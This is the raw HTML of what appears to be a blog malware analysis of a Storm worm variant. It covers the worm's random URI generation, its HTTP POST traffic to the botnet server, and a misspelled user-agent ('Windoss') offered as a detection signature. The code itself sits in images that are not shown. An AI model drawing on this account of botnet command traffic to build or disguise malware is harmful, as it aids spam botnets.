&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;Random Generation Functions to form the URI Request Path:&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;The next code snapshot shows the random character-generation function that generates 3 bytes of random alphabetical characters which are appended with the “.” to form the request URI path. Thereafter, the random generation function is called again to select any random extension from .jpg, .htm, and .gif, and completes the URI formation by appending it to the previously generated request path:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmX7wJbzBzqffuGlz5K8tpLfrpPaVkftvyjfbOndRIZQZ9MFAdg1GIbwmbiG9-2Xxaj_9-vKJRIBQgZzsiSCw1F6hhCUxT-moxbrjEKhDz4mbDt7rzXJTr9vphj5A5B8rTskKDQlSHTqI/s1600/unpack_6.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmX7wJbzBzqffuGlz5K8tpLfrpPaVkftvyjfbOndRIZQZ9MFAdg1GIbwmbiG9-2Xxaj_9-vKJRIBQgZzsiSCw1F6hhCUxT-moxbrjEKhDz4mbDt7rzXJTr9vphj5A5B8rTskKDQlSHTqI/s320/unpack_6.PNG&quot; height=&quot;202&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;HTTP POST Request Header:&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;These are the low-level details of how the POST request will look when the worm is executed on the machine:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrAR3YEc1gIQPIds9abibv4y8r_LuOmkH49sJA3bhjjBLLAJDOSYkI54XKpsLg8A3Da-2sbgnhJpBrNlAb8bkKV3ll3bYmoipqwr892eu8aptfBMshVoPh84D4oVuCY1CyavgKX93w2bo/s1600/unpack_8.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrAR3YEc1gIQPIds9abibv4y8r_LuOmkH49sJA3bhjjBLLAJDOSYkI54XKpsLg8A3Da-2sbgnhJpBrNlAb8bkKV3ll3bYmoipqwr892eu8aptfBMshVoPh84D4oVuCY1CyavgKX93w2bo/s320/unpack_8.PNG&quot; height=&quot;117&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; line-height: 15px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;em style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;As we figured out from the code above, this variant communicates with the bot master via an HTTP POST request. In examining the POST request code, another clue is the possible typo in the user-agent header, in which it is set to “Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1).” (Note “Windoss” instead of Windows. This is a very good hint that Storm is in action; intrusion prevention systems can use this hint to detect Storm on the wire.) The botnet server then responds with the spam template used by the bot to send the spam.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBZuInsxfhCVr_YRaz087BU5FcDqLoGL6KniviGy8hBXxDB-AquW6CUA9mHoPUI6wDUkLOozvGZ4eOulyVXyrAtlcWMppwArGcniQI0UuQUNjFBShf6MTKVI2_VHATQ6FK0qv1XhfbUbs/s1600/unpack_9.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBZuInsxfhCVr_YRaz087BU5FcDqLoGL6KniviGy8hBXxDB-AquW6CUA9mHoPUI6wDUkLOozvGZ4eOulyVXyrAtlcWMppwArGcniQI0UuQUNjFBShf6MTKVI2_VHATQ6FK0qv1XhfbUbs/s320/unpack_9.PNG&quot; height=&quot;51&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwROrxUm9YyLXEfn4wQuDj_cWuPdIdlZPRH7YX5BQcO0xci6tU9iFUlCp36NZBFfy5iYrNOlTwEE9gyEzI1cNCi-stWCZPccc1X4iHlq-a2vSQBo2_Brc5OXutCvfCQPyG8Ddtq-OwXbU/s1600/unpack_10.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwROrxUm9YyLXEfn4wQuDj_cWuPdIdlZPRH7YX5BQcO0xci6tU9iFUlCp36NZBFfy5iYrNOlTwEE9gyEzI1cNCi-stWCZPccc1X4iHlq-a2vSQBo2_Brc5OXutCvfCQPyG8Ddtq-OwXbU/s320/unpack_10.PNG&quot; height=&quot;186&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
